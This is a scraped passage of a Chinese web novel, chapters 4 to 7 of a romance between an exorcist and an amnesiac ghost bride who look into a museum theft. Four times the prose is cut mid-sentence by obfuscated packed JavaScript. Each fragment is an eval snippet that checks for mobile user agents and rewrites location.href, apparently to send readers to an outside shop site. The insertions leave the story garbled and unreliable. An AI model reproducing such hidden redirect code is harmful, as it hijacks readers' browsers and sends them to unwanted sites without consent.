这拍的是礼堂！白点是桌子上的蜡烛和香，还有高堂处穆家父母的眼睛！ 黑点是人身上的绣样……是一个新娘子和一只鸡在对拜！ 那新娘子身上喜服的花样，和穆羽之前穿着的旧嫁衣上的一模一样！ 林疏后背生生出了一层冷汗。 他此时此刻才真切地感觉到，身边这个美丽的男人是几百年前就死了的鬼新娘。 穆羽道：“我嫁的应该是穆绍棠。” 林疏道：“怎么说？” 穆羽看着照片出了会儿神，道：“我已经说不清他长什么样，但看到这些照片，听到这个名字，突然觉得，他应该是一直叫我羽哥的。” 林疏看着穆羽的侧脸。 月光下的男鬼没了亡人的冷色，却像镀了一层银边，长长睫毛，弯弯眉梢。 他活着的时候，该是多么的风华绝代。 却死在新婚的晚上。 林疏道：“看了这些，释怀了没有？” 穆羽点了点头：“其实这么多年，也并没有多么放不下。何况早忘了。” 林疏手指不自觉蜷紧了些。 他漠然看了看那张照片：“是了，几百年了，就算记得，也没有意义了。但凡短命点，他都投了五次胎，生了十多个孩子了。” 穆羽道：“他不会的。” 穆羽转过身，对林疏挑眉一笑：“他天生就是那个，对女人硬不起来的。” 林疏先是被穆羽的笑从里到外电了个彻底。 然后后知后觉到穆羽对穆绍棠的评价，嘴角抽搐了一下。 “既然放下了执念，就投胎去吧。”林疏正色道。 穆羽没说什么，低头继续看自己的手腕。 “你老是看手腕，怎么了？被缚灵索勒疼了？”林疏问道。 “我是在想……”穆羽喃喃道，“如果我强行挣脱了这个，会怎么样？” 林疏皱眉：“你挣不脱，这是灵调局特制的。要是你挣脱了，那灵调局就该原地解散了。” 穆羽扬眉：“你说的。” 他刚说完，林疏就一把符纸糊了过来：“开玩笑，让你跑了我还混不混了！跟老子回家！” “你跟谁老子呢？”穆羽嘲道，“毛都没长齐，还老子？” 林疏朝他飞了个眼，一拽缚灵索：“毛长没长齐——你可以回家后亲自看看。” 穆羽丝毫没意识到自己被调戏了，嗤道：“就你这头毛还用看？剪那么短。”说罢伸手摸了一把林疏的头发。 林疏：“……” 林疏开始怀疑，这么直的大美人，究竟是怎么被穆绍棠骗回来当媳妇的。 但穆羽丝毫没有大彻大悟原地消散去投胎的意思。 他甚至连灵体都凝实了许多，胆大包天地用冰凉的手指掐着林疏的后颈，让他走慢点。 盛夏的夜里，二人锁好门窗离开博物馆，慢慢走在回家的路上。 …… 到家后，林疏又出了一身汗，黏黏糊糊去洗澡了。 清凉无汗的穆羽就坐在沙发上发呆。 林疏出来后，发现穆羽已经换回了自己暗红绣花的喜服，正摩挲上面精致的绣样。 而林疏的那身衣服，被他叠得整整齐齐，放在沙发的靠背上。 听见林疏出来，他抬头，对浑身滴水的青年道：“我还是想不起来，我到底做了什么伤天害理的事。” 林疏擦着头发，问道：“你是被谁杀的你还记得吗？” 穆羽低垂着睫毛道：“不记得。” 林疏将毛巾丢到晾衣架上，用手指捋了捋微湿的头发，道：“那有可能你已经报过仇了，手上有了人命，又不想投胎，就留了下来。” 穆羽头也不抬道：“仇都报了，为什么还不想投胎？” 林疏随口道：“因为还没洞房？” “……”穆羽抬头面无表情看着他，一副你们这些男人真龌龊的表情。 林疏转过身，冷傲地一抬下巴：“？？？男人想点涩涩的东西怎么了？我是道士又不是和尚。” 穆羽对他明目张胆的骚气视而不见：“或许你说的有道理。我杀了仇人，却又惦记着小棠，不愿离开。” 林疏听得一阵牙酸：“嘶……就开始‘小棠’了？” 穆羽理直气壮道：“怎么说那也是我拜过堂的夫君了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883353|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林疏眼角弯弯：“那以后是不是该称呼你穆夫人啊！” 穆羽想了想，居然没反驳。 林疏：“……”封建思维害死人。 他决定从今天起每天给穆羽灌输社会主义核心价值观。 穆羽没有给他这个机会。 当晚，他就扰得林疏自己都没心思去想社会主义核心价值观。 这是很热很热的一个夏天。 林疏没有空调，租的房子也小，穆羽虽然是个鬼，却死活不肯坐在沙发上发一晚上呆。 他丝毫不给林疏这个死gay面子，脱了喜服就躺在床上了。 屋里唯一一张床。 林疏无言以对。 身边多了一个人，林疏本来睡得就不安稳。 这人还浑身冰凉，林疏睡着睡着就迷迷糊糊贴上去了。 穆羽虽然是个鬼新娘，可身量匀称，肩宽腰窄，肌肉也是一块一块非常有手感。 林疏本就是个弯的，半夜摸摸索索，贴贴蹭蹭，突然就醒了。 他凝固住，感受了一下下半身，倒吸一口凉气。 穆羽自然是不用睡觉，他一直都醒着。 感受到林疏的变化，嗤了一声，嘲道：“动情了？” 林疏二话不说，起身就去冲冷水。 “哎，”穆羽侧过身来，朝着卫生间道，“你先搂的小爷，说句好听的，小爷让你快活。” 林疏带着一身水汽旋风似的又回来了，嘲道：“你会吗？童子鸡。” 穆羽：“……”没能和心上人洞房是他的错吗！！！ 林疏背对着穆羽又闭上了眼睛。 这回换成穆羽打击报复了。 他仗着自己比林疏高，从后面缓缓贴上了林疏的后背。 将体格纤瘦的天师整个笼进了怀里。 刚冷静下来的林疏：“……” 穆羽坏笑着伸手，顺着林疏柔软的肚皮往下摸。 “呵。”林疏冷笑一声直接坐起来，手一招，挂在门口的葫芦飞过来。 穆羽马上转过去，背对穆羽，紧贴着床边的墙。 林疏口中已经开始念咒：“太上老君急急如律……” 穆羽怒道：“是你先蹭我的！我要睡床！我不要待在葫芦里！” 话音未落，已经被葫芦关了个严严实实，林疏冷笑一声，转身准备睡觉。 可穆羽在葫芦里撞来撞去，叫声又大又凄厉，扰得林疏更加头疼。 他用这葫芦装过很多妖魔鬼怪，还从来没见过反应这么大的。 无奈之下，林疏把葫芦打开了，丢回枕头边，对着趴在地板上疯狂咳嗽的穆羽不自然道：“没有下次了！” 穆羽咬牙，偏要爬上床，但到底不敢乱动了。 过了会儿，他就听见林疏均匀的呼吸声。 穆羽又小心地转过去，支着头，去看林疏熟睡的侧脸。 这小天师看起来也不过二十出头的样子，睡着的时候，眉宇间甚至还有一丝稚气。 可他的眼睛时而灵动，时而沧桑，叫人无法确定他的年龄。 穆羽觉得，林疏有时候像个涉世未深的孩子，有时候又圆滑世故，像个老油条。 所以，林疏的年龄恐怕是个谜，这一点在那个小轩的反应就能看出来。 小轩没觉得林疏是他的同龄人，明明林疏长得很年轻。 …… 5. 第 5 章 第二天是工作日，林疏牵着穆羽，去了灵调局。 穆羽本来就凝实了很多，容易影响到阳气弱的人和小孩。 又不肯穿便装，非要穿那身鬼气森森的暗红色旧喜服，披头散发坐在林疏自行车后座上。 林疏实在怕吓到无辜路人，就在他额头上贴了一张符。 这样便没人能看见他了，只是靠近的时候会觉得有点冷。 等红绿灯时，林疏一脚支着地，将车子偏了些，穆羽就有些往后仰。 他怕掉下去，便伸手握住了林疏的腰，林疏的腰很细，热度从道袍里透过来。 这种温度对于鬼来说有些烫了，穆羽低头看着自己的手，抿了抿唇。 林疏冷冷道：“松手。” 穆羽理直气壮：“我怕掉下去。” “那你来骑。”林疏道。 “你不怕被别人看到一个空自行车在路上跑，你就让我骑，反正我不怕。”穆羽道。 林疏气得想咬人。 穆羽得意洋洋，得寸进尺地双手搂住了林疏的腰，还把脸贴在他背上。 这次林疏反而没说什么了，贴了一会儿，穆羽就觉得无趣。 刚抬起脸，他就听到林疏说：“哎，别起来呀，可凉快了。” 又一次被当做人工空调的穆羽：“……” 一直到灵调局，穆羽都黑着脸，林疏摘了符牵着他往里走，迎面过来的员工都是一脸惊恐地看着他。 然后窃窃私语：林天师怎么带个厉鬼来了？看着好凶。 林疏无奈，又将缚灵索收紧了些，好让目露凶光的恶鬼被自己的身形遮住一二。 进了办公室，林疏给穆羽找了个凳子，让他坐在一边。 自己则翻看起市局转交过来的异常案件。 灵调局的主要职责就是辅助警察调查灵异案件，林疏作为特派天师，本应在警局常驻。 但前面几任特派天师在任期间，体现出了一些问题，那就是市局有些干警在见识到玄学力量后，竟逐渐开始消极破案，事事指望天师。 直到前一任特派天师离任前，灵调局终于更改了提案。 林疏后人乘凉，得以离开警局，回到灵调局坐办公室，警局遇到灵异案件自然会送过来。 例如穆羽犯下的穆家老宅扰民案，就是城郊分局递交上来的。 今天倒是没有什么大案子……林疏翻看案卷，有一宗博物馆失窃案…… 唔……他心虚地默默把这个案子挪到待办行列。 正看着文件，档案处的小纪突然来了，跟办公室外的人打了一圈招呼，停在林疏身边。 林疏抬头看他，见他正看着穆羽。 “有事？”林疏问道。 小纪搓了搓手指：“有点事，你有空没？” 林疏看了穆羽一眼，穆羽嗤了一声，抬手堵住耳朵。 小纪有些尴尬地笑了笑。 林疏叹气，伸手布了个隔音结界，把俩人圈在了里头。 小纪挠挠头，道：“昨天晚上，我连夜查了一下这个穆羽。” “查到东西了？”林疏喝了口茶水。 小纪道：“昨天仪器胶片上显示，他身上有血孽。” 林疏拿着茶杯的手一顿。 小纪压低声音道：“你也知道，自来厉鬼凶到身上带血孽的也就那么几个，灵调局都有记档，绝大部分已经由顾局和林主任解决了，而且建国之后也再没出过这样的凶鬼。唯一一个还没归案的，是姬悬月。” 林疏的眉毛拧成了疙瘩。他想起昨晚族谱上穆绍棠的妻子，的确是姬氏。 小纪提心吊胆看着林疏的脸色：“你也……你知道他？” 林疏点头。 小纪道：“那我可直说了，他虽然什么都不记得，但终归是……终归是个凶神，你不能留他。” 林疏询问道：“之前的血孽厉鬼都怎么解决的？” 小纪开始看天看地，就是不看林疏的眼睛：“就，顾局砍几剑，林主任再一道天雷……你明白吧？” 林疏点点头：“嗯，看来是魂飞魄散，灰飞烟灭。” 小纪叹了口气，看出林疏的不舍，只得安慰道：“哎呀，莞莞类卿，再怎么好看，也不是纯元。” 林疏一头雾水：“……你说什么乱七八糟的？” 小纪道：“替身就是替身，你说……是吧？” 林疏没好气道：“回你办公室吧，等会儿领导□□查到你，有你受的。” 说完他就把结界撤了，小纪有千言万语也不敢当着穆羽……不，姬悬月的面说，赶紧脚底抹油溜了。 林疏回头，看着一脸冷漠的姬悬月。 清末同治十三年，西南玄鹤府出厉鬼，名姬悬月。 厉鬼现世，生灵涂炭，玄鹤府一千二百户，只余二百户。 一鬼出，万民死。 这是鹤城城郊一个小县的县志的记载，也是小纪查到的内容。 也是林疏铭记于心的内容。 世上最后一个血孽厉鬼：姬悬月。 在杀了玄鹤府一千多户之后，姬悬月就消失了。 没人知道这个凶神厉鬼是被收服了，还是被天罚劈得魂飞魄散。 总之，他就只凶了这一次。 而今，这出名的大凶神，就被一根纤细的缚灵索拴在了林疏手腕上。 林疏倒是丝毫不觉恐惧，喝光了杯中茶水。 他将缚灵索一扯，靠在墙上冥想的姬悬月被牵动手腕，睁开了眼睛。 “走吧，昨天去过的那家博物馆告状来了。”林疏起身，“去善个后。” 于是，姬悬月仍旧贴着符坐在自行车后座，林疏在前面吭哧吭哧地骑。 “快点啊废柴。”姬悬月仍旧扶着林疏的腰，还捏了捏侧面不太清晰的人鱼线， “……”林疏忍无可忍，“你给我下去！自己飘！” 姬悬月：“……” 林疏停下车，拽着姬悬月的大红嫁衣袖子往边上搡：“不带你了！死沉死沉的！” 姬悬月从善如流：“我错了，您继续。” 林疏认命继续骑，呼哧呼哧喘着气：“骑……不动……了……” 姬悬月：“骑不动我们可以打车。” 林疏：“太远了！昨晚打车就花了七十多……” 姬悬月：“你们做道士的不是应该很有钱吗？坑蒙拐骗，无所不为，偷鸡摸狗，男盗女……” 林疏嘎吱一声踩了刹车，冷漠道：“不会说话嘴可以捐给别人，你给我下去，自己走。” 姬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883354|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悬月不依不饶：“你把这镣铐松开我就自己走。” 林疏用危险的眼神看着他。 姬悬月的目光顺着他的手指看到了他腰侧挂着的葫芦。 识时务者为俊杰，姬悬月闭嘴了。 但他也不是个沉默寡言的人，没过一会，就故态复萌。 他尚不知自己姓姬，仍旧碎嘴打听穆家的事：“刚才那个坏小子跟你说什么了？是不是穆家的事？难道我真的不是小少爷的妻子，而是他什么兄弟吗？我跟你说，还有一种可能就是我招了个上门女婿，没准我就是那穆绍柏……” 林疏翻白眼，懒得理他。 到了博物馆，林疏下车锁车一气呵成。 抹了把汗湿的头发，人模人样地交出了灵调局特派证件。 博物馆馆长是个耄耋老头，提起昨晚的事仍然惊疑不定：“我早上来开门……就发现馆里遭贼了啊！我去调监控，那监控调到昨晚啊突然就黑了……再一恢复，我就看到……就看到……” 林疏怕老人家背过气去，赶紧给念了道清心静气的法诀，帮老人家捋了捋心口。 然后问道：“看到了什么？馆长别急慢慢说。” 馆长道：“我看见姬悬月了啊！” 林疏：“……”他下意识回头看了看姬悬月。 鬼新娘正茫然跟在他身后，听了这个名字没有一点儿反应。 林疏再看看面前的馆长，馆长依然在一脸惊恐地看着他。 “你说……”林疏艰难道，“你是说，你看到姬悬月了，谁是姬悬月？” 老馆长道：“姬悬月是索命鬼呀，姬悬月……他的传说，你们这辈人，恐怕都没听说过了。那时候鹤城还不叫鹤城，清朝的官儿给这里封了个‘玄鹤府’……” 林疏又耐着性子听老馆长讲厉鬼姬悬月的精彩往事。 “……总之，那一次，鹤城死得就剩几百口了，人人自危呀，晚上不敢掌灯，天黑不敢出门，家家户户，烧香拜佛……” “老馆长，您是怎么认出来，那个人是姬悬月的？”林疏问道。 老馆长煞有介事道：“我见过姬悬月的照片！” 林疏紧张起来，偷偷看了一眼旁边正神游天外的姬悬月本尊，小声道：“他照片……您还有吗？” 老馆长：“当然有了，我带你去看！” 林疏只得跟着往里走，很快到了穆氏宗祠馆……的隔壁。 老馆长指着墙上一张大约四开的大相框：“就这个！” 林疏抬头：“……” 好家伙，还是上色的照片。 只见相框里是一位盖着红盖头的，凤冠霞帔的新娘子。 她的嫁衣上绣着非常好看的花样，龙凤呈祥，流金溢彩。 她手上拿着红绣球，绣球上红色绸缎的另一头应当是牵着什么人——比如她的新郎。 但这张照片上只有她，也就是说，这照片可能只有一半。 林疏问道：“这是……姬悬月？” 老馆长道：“对，这就是鬼新娘，姬悬月。” 林疏道：“你昨晚看到的姬悬月，也是这身打扮？” 老馆长点头：“盖头上的花样都清清楚楚的。” 林疏道：“你是说，昨晚你看到的姬悬月也没有露脸？” 6. 第 6 章 老馆长称是。 林疏的嘴半天没合上。 他盯着照片看了一会儿，提出质疑：“馆长……这照片还有另一半吧？” 老馆长道：“是有，但是……你懂的，十那个年浩劫的时候没藏好，都烧了。反而姬悬月这张，据说是底片被藏在摄影师棺材里带下去了，是前些年我们征得文物局许可，又挖出来的。这照片是后上的色，但绣样是独一份的。你细看——” 林疏凑近了些，发现了端倪：“这绣花上只有龙没有凤。” “对，”老馆长伸着树皮一般的手，抚摸玻璃下的绣样，“这在当年是很少见的，所以，昨晚的监控……我一看就知道是他。” 林疏下意识回头去看姬悬月。 姬悬月穿的喜服虽然掉了色，也有些破破烂烂。 但袖口和衣襟上的花纹依然清晰，的确是两条龙盘着祥云。 老馆长不安道：“林道长，你在看什么？” 林疏忙回头，胡乱找借口道：“我进门就觉得……您这个博物馆的锁好像都是统一的，所有门都只是简单用插芯门锁锁着。但这个展馆，用的却是双道铜挂锁，是里面藏着这张照片的缘故吗？” 老馆长叹了口气，道：“不是。一张照片而已，有什么值得锁的，丢的也不是照片。警察已经来过了，说没有外人进来的痕迹，原本的锁也给我拆走了。可是那个烛台就是丢了，警察就让我把这门用别的锁好好锁起来，等你们灵调局的来了再打开。” “烛台？”林疏顿时生出不好的预感，“什么烛台？” 老馆长道：“警察没告诉您吗？就是穆家旧物中的一架烛台，鎏金的，也算不上值钱……呐，” 他在馆藏说明簿里找到那个烛台的照片，指给林疏看，“就是这个。” 林疏看着照片心乱如麻，神不守舍道：“既然……照片我看到了，我们还是先出去吧。” 老馆长仔仔细细锁了门，林疏在一边托着腮。 昨晚他带姬悬月来夜探，确实是对监控设施做过磁场影响的。 在他们溜门撬锁那段时间，监控应该黑屏了才对。 若博物馆没有丢东西，第二天也不会有人特意去看监控，就不会有人知道。 可是老馆长却说看到了姬悬月，而他和姬悬月没去过的屋子还丢了东西。 而且林疏合理怀疑，丢了的烛台就是刺死姬悬月的烛台。 也就是说，昨晚有人趁着他和姬悬月来看穆氏家谱，偷窃了另一个房间里刺死姬悬月的凶器。 这怎么看也不是巧合。 林疏思来想去，还是把这件事跟身后的姬悬月本尊说了一部分。 “昨晚上博物馆确实遭贼了，贼偷走的有可能是当年杀了你的凶器。”林疏如是说。 “偷杀我的凶器有什么用？是谁偷的？”姬悬月不解。 林疏掏出符纸：“我正要查。” 说罢，他趁着老馆长去找东西，在原地燃了一张符。 空气中徒留纸灰气息，林疏呆怔片刻，捏紧了拴着姬悬月的缚灵索。 “你看见什么了？”姬悬月问道。 林疏看了看不远处的月门，老馆长已经回来了，他便没有出声。 姬悬月耐着性子跟随林疏一起回到正堂，林疏捧着老馆长给泡的茶水抿了一口，又想了一会儿，慢悠悠问道：“馆长，那架烛台，也是穆家后人捐给博物馆的吗？” 老馆长点头：“没错，这堆东西是穆家三爷临走之前一股脑扔给博物馆的，我们整理了很久才整理出这个穆氏族馆。” “穆家三爷现在在何处？”林疏问道。 “这个我不清楚，”老馆长道，“他们穆家人离开鹤城很久了。” 林疏思索着道：“老馆长，您是知道的，鹤城十年前那件事……所以灵调局跟警局向来密不可分，如果有关于穆家的其他线索，还望老馆长知无不言。” 老馆长摇头：“真的不知道了，穆家人都走没了，当年我们想在穆氏老宅建个新馆，就出了些事，我想问问穆三爷，可他留的号码已经是空号了。” 林疏只得做了笔录，然后直接离开了。 在回灵调局的路上，姬悬月礼貌询问：“你不是说，丢的是杀我的凶器？” 林疏心事重重道：“没错……应该是杀你的那个烛台。” 姬悬月道：“偷东西的是姬悬月？” “啊？”林疏反应慢了半拍，后知后觉道，“啊，应该不是。” 姬悬月道：“那个照片很好看，她的嫁衣和我的一样美，可惜我没有留下照片。” 林疏忽然反应过来，姬悬月死在新婚那天的晚上，和他拜堂的是一只公鸡。 那他怎么可能留下一张和夫婿并肩的照片？ 但这个谜团和姬悬月的记忆一起被深埋了，林疏也没办法问什么。 只是既然烛台是穆家人捐赠的，就算是公物，林疏有责任和义务帮忙追回。 回到灵调局后，林疏就开始做法。 靠占卜寻找失物也是他的专业技术之一，虽然那架烛台不是他的私人物品，但算是跟姬悬月有联系，他可以通过这个来占卜。 但有一点很奇怪，刚才在博物馆的时候，林疏曾经趁着老馆长不在，使用过一次“溯灵”。 这种术法是他师门绝学，他虽然没学全，但已经可以看到周围环境里的玄学痕迹。 可博物馆里干干净净，什么也没有。 无论是法术还是凡人的盗窃，都没有留下痕迹。 姬悬月就懒洋洋靠在一边闭目养神。 特派天师的办公室门外，所有路过的人都偷偷摸摸朝里看。 姬悬月丝毫不知道自己在旁人眼中是著名的凶神。 而林疏也不知道自己的形象已经伟岸起来。 片刻之后，占卜结束，林疏对着卦象一筹莫展。 卦象显示，他没有失物。 看来不是自己的东西果然不行…… 林疏沮丧地收了东西，打算明天去博物馆周边打探一下。 五点钟一过，林疏卷起袖子，牵着姬悬月嗖地跑了。 灵调局众位见怪不怪，这位特派天师和他的本体一样，非常非常懒，加班是不可能加班的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883355|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过在灵调局上班，倒也没必要加班，全国人民也都不盼着他们这个部门加班。 林疏载着姬悬月先回了家，这个时间博物馆还没闭馆，所以林疏换上了一身方便行动的衣服，抓了把头发的造型，又给姬悬月挑了身黑衣服，准备带他出门。 姬悬月的腿很长，穿林疏的裤子总会露出脚踝。 于是林疏托着腮思考，是该带姬悬月去买些衣服穿。 但今天的要事是探查博物馆，买衣服的事明天再说。 姬悬月垂眸，看着林疏趴在自己胸口画符，低声问道：“这是什么符？我以前未见过。” 林疏头也不抬，只给他看一个毛茸茸的发顶：“这是我家传绝学……可以短暂让你不惧阳光，拥有实体，昨天不是用过了吗？” 姬悬月便不说话了，林疏画完之后，满意地抬头，打量一番：“你穿黑衣服也好看。” 姬悬月礼貌道：“谢谢，你也是。” 林疏带着姬悬月出门，这次舍得打车了。 姬悬月坐在车上往外看，瞧见许多不曾见过的风景。 他想问林疏那些发光的东西是什么，但林疏居然已经靠在座椅上睡着了。 昨晚回去得太晚，林疏本体又是昼伏夜出的动物，坐在有空调的车里难免犯迷糊。 “觉怎么这么多……”姬悬月看着林疏，烦躁地自言自语。 但是他突然心中一动，目光落在了捆缚他手腕的缚灵索上。 白皙如玉的修长手指轻轻覆在手腕上，姬悬月非常有耐心地一圈一圈解着缚灵索。 眼看就剩最后一圈—— 一只温暖的手掌突然紧紧攥住了他的手腕。 姬悬月：“……” 姬悬月不动声色将缚灵索一圈圈缠了回去。 “哼……”林疏冷嗤一声，“识时务者为俊杰。” 姬悬月眨眨眼，将目光落在外头，然后非常夸张地道：“啊，那个牌牌会发光，那是什么？” “那是你的赛博墓碑。”林疏冷冷道。 姬悬月听不懂，但他觉得林疏在侮辱他！ 但他看了一眼林疏的葫芦，额头的青筋跳了跳，把怨气咽了回去。 这臭道士说得对，识时务者为俊杰。 到西芹路博物馆的时候，距离闭馆只有二十分钟了。 林疏拿手机扫码付了车费，姬悬月好奇地看着他用那个闪闪发光的赛博墓碑，感觉这个世界的一切都好新奇。 两人来到博物馆门口，林疏又扫码买了两张票，与姬悬月一前一后进了博物馆。 老馆长拿着放大镜在办公室里看报纸，目光不经意扫过窗外，就看见来过的小天师与一名相貌极美的高个子姑娘来看展览。 老馆长赶紧起身，出去打招呼：“林道长，你带女朋友来……” 然后，他看见了“女朋友”扁平的胸脯和俊美得非常凌厉的五官。 咳咳。 林疏倒是没笑话他，只是笑眯眯道：“是呀馆长，下班啦，不谈公事，我带朋友来看贵馆的展览。馆长您忙，我们自己逛就是。” 7. 第 7 章 老馆长哪里敢让他们自便，赶紧把放大镜踹进兜里，带着笑陪同讲解。 鹤城的历史非常悠久，不过大部分的珍贵馆藏都在诸如华夏艺术宫等大博物馆里。 老馆长的这个主要珍藏的是民俗和本地生活历史，展品相对比较陈旧和琐碎，也没什么艺术性。 讲着讲着，老馆长自己都觉得年轻人不会喜欢。 这时林疏突然觉得肚子有些疼。 “劳驾，”他拉住老馆长，“这里有没有洗手间？” 老馆长忙道：“有有，我带您去。” 走到洗手间门口，林疏就进去了。 姬悬月被缚灵索箍着，便也进去了。 但这看在老馆长眼里，却古怪起来。 他瞬间参透了林道长和这位美貌女……男……朋友的关系，露出福至心灵的表情。 林疏很快解决完生理问题，冲水后推门出来了，迎面就看到姬悬月面色不善地倚在门口。 他后知后觉想起来，他们两人之间还有个缚灵索。 林疏：“……咳咳，下次我把缚灵索留长一点。” 姬悬月翻个白眼，并不说话。 当然，美人翻白眼也是好看的，林疏看在他貌美的份上很大度地原谅了他的无礼。 然而上完洗手间，老馆长却不讲解了，也不跟着了。 他喝了口保温杯里的茶水润嗓子，笑眯眯道：“说起来我还有点事没办完，那不如二位自便吧，我就不打扰你们了。” 林疏：“？” 姬悬月：“？” 老馆长已经光速离开，深藏功与名。 林疏心想也算是正中下怀，便没解释，就带着姬悬月继续逛。 然后趁着没人，来到了博物馆的后院。 一道“溯灵”符咒燃烧殆尽。 林疏闭上眼睛细细感受，眉毛却越拧越紧。 姬悬月在一旁看着，只觉得小天师都快被困惑填满了。 他笑着道：“怎么，没有答案？是不是你道行不够？” 林疏蹙眉睁眼：“太古怪了，除了你我曾经使用术法潜入之外，这里一点其他的术法痕迹都没有。如果有人借用姬悬月的身份来偷盗，没理由看不出来啊！” 姬悬月问道：“或许是个凡人，穿着姬悬月的衣服。” 林疏看他一眼，觉得倒也不是没可能。 如果是凡人偷盗，借用厉鬼名目，让老馆长和警察以为是灵异案件从而转给灵调局，也很合理。 只是，警察来过，未曾发现有凡人踪迹，这就很耐人寻味了。 眼看就要闭馆，林疏也不便久留，就带着姬悬月走了。 临走时，他隔着窗子与办公室里的老馆长打了招呼，又示意他不必远送。 然后消失在了博物馆门口。 老馆长感叹了一声，低头收拾报纸，准备去闭馆。 博物馆门口却不知何时停了一辆黑色轿车，车上下来一个西装革履的年轻人。 他微微笑着，走到售票处，与正好出来闭馆的老馆长四目相对。 老馆长愣住。 他从这年轻人脸上，看到了非常非常熟悉的、和老朋友相似的轮廓。 …… 在回家的路上，林疏又开始犯困。 但这次他学乖了，用清心符撑着眼皮，保证自己起码能看见东西。 姬悬月对他这种不信任的行为非常嗤之以鼻，抱着手臂往外看。 可是鹤城，他已经一丁点原来的影子都看不到。 他其实也不知道自己在找什么，那发灰的天空上，本该有一只自由的鸟儿吗？ 到家之后，林疏困得原地去睡觉，澡也不洗了，趴在床上宛若一条死鱼。 姬悬月换掉衣服，解开发带，重新套上自己的新娘装。 只有这身衣服能给他一点自己存在的证明。 丝绸苏绣的缎面柔滑如水，霞帔的盘扣那样细致温柔。 他一点一点系上扣子，又走到卫生间，打开灯，对着那明亮的镜子细细打量自己。 实体符咒的时间还没结束，镜子里的他面色鲜活，仿佛那细腻如凝脂的皮肤底下的确有血液在流动一般。 他看着自己一片死寂的眼眸，那里面没有倒映他的影子。 他的指尖划过自己红润的嘴唇，恍惚间，指尖好像带了血。 但回过神来，手指上又什么都没有。 我是谁？他这样问自己。 我因何而死？ 我又因何而逗留人间？ 他全然不知，甚至不敢确定自己的名字，真的叫穆羽。 …… 深夜，林疏补眠醒来，眯着眼睛一滚，就滚进一个冰凉的怀抱。 他本能地搂上去，又一下子醒了。 就看见姬悬月撑着下巴，呈美人斜倚之姿，一双凤目正自上而下睨着他。 林疏：“……” 姬悬月笑问：“又怎么了，小道长？” 林疏深呼吸，这日子没法过了！ 姬悬月只是笑意盈盈，但林疏觉得他看自己的眼神里含着一种调笑的戏谑。 面对这样的眼神，林疏很难不找茬。 他意有所指道：“你知不知道你这样看着别人，很容易让人误会？” 姬悬月无辜道：“我怎么了？我这次可什么都没干，是你自己搂上来的。” 林疏眯着眼：“我说的是你盯着别人看，你别偷换概念。” 姬悬月便开始明目张胆从头到脚打量被汗水浸湿的林疏，主打一个叛逆。 如果他的骨灰盒重达两斤，其中七两是盒三两是灰，剩下的一斤，必定都是反骨。 林疏懒得与他争辩，也不去在意他的打量。 反正被看也不会少块肉。遂脸朝外转去。 姬悬月却不知吃错了什么药，鬼使神差地直直盯着林疏线条流畅的侧影，目光沿着林疏优美地向下凹着的腰线上来回逡巡。 清凉无汗的男鬼，突然就在夜色里覆上被热得浑身冒汗、潮湿水润的小狐狸。 在他耳边压低声音道：“嗳，我光拜了堂，还没入过洞房，要不咱俩试试？” 林疏：“？？？” 林疏一脸的莫名其妙，这鬼怎么回事？找茬吗？他遂伸手去推姬悬月，推不动。 林疏马上伸手去召葫芦，姬悬月却用冰凉的手掌将他手腕握住，按在了身侧，脸也向下压去。 “你胆子肥了？”林疏眼睛一眯。 姬悬月笑容妖冶如带毒的花：“事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883356|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在人为，” 林疏眉头一皱，看出姬悬月其实对他并没有什么欲|望，只不过想引得他情|动破戒。 但这却起了林疏的好胜之心，殊不知，他的本体才是施展媚术的鼻祖。 于是唇角微勾，小狐狸转眼就施展出了天狐本命伎俩。 端的是媚眼如丝、媚骨天成：“小新娘，你怎么双重标准？你盯着我看一晚上，还不许我问一句？” 姬悬月已经怔住，林疏那双清澈柔和的眼，此时竟然变得媚意横生，似是要将他吸进去一般。 那阵幽幽甜香也不知何时萦绕在他周身，直往鼻子里钻。 但姬悬月是个定力绝佳的鬼，很快调整好心态，一本正经地反向引诱，压低声音道：“说的又不是盯着你看的事。问你呢，洞房吗？” 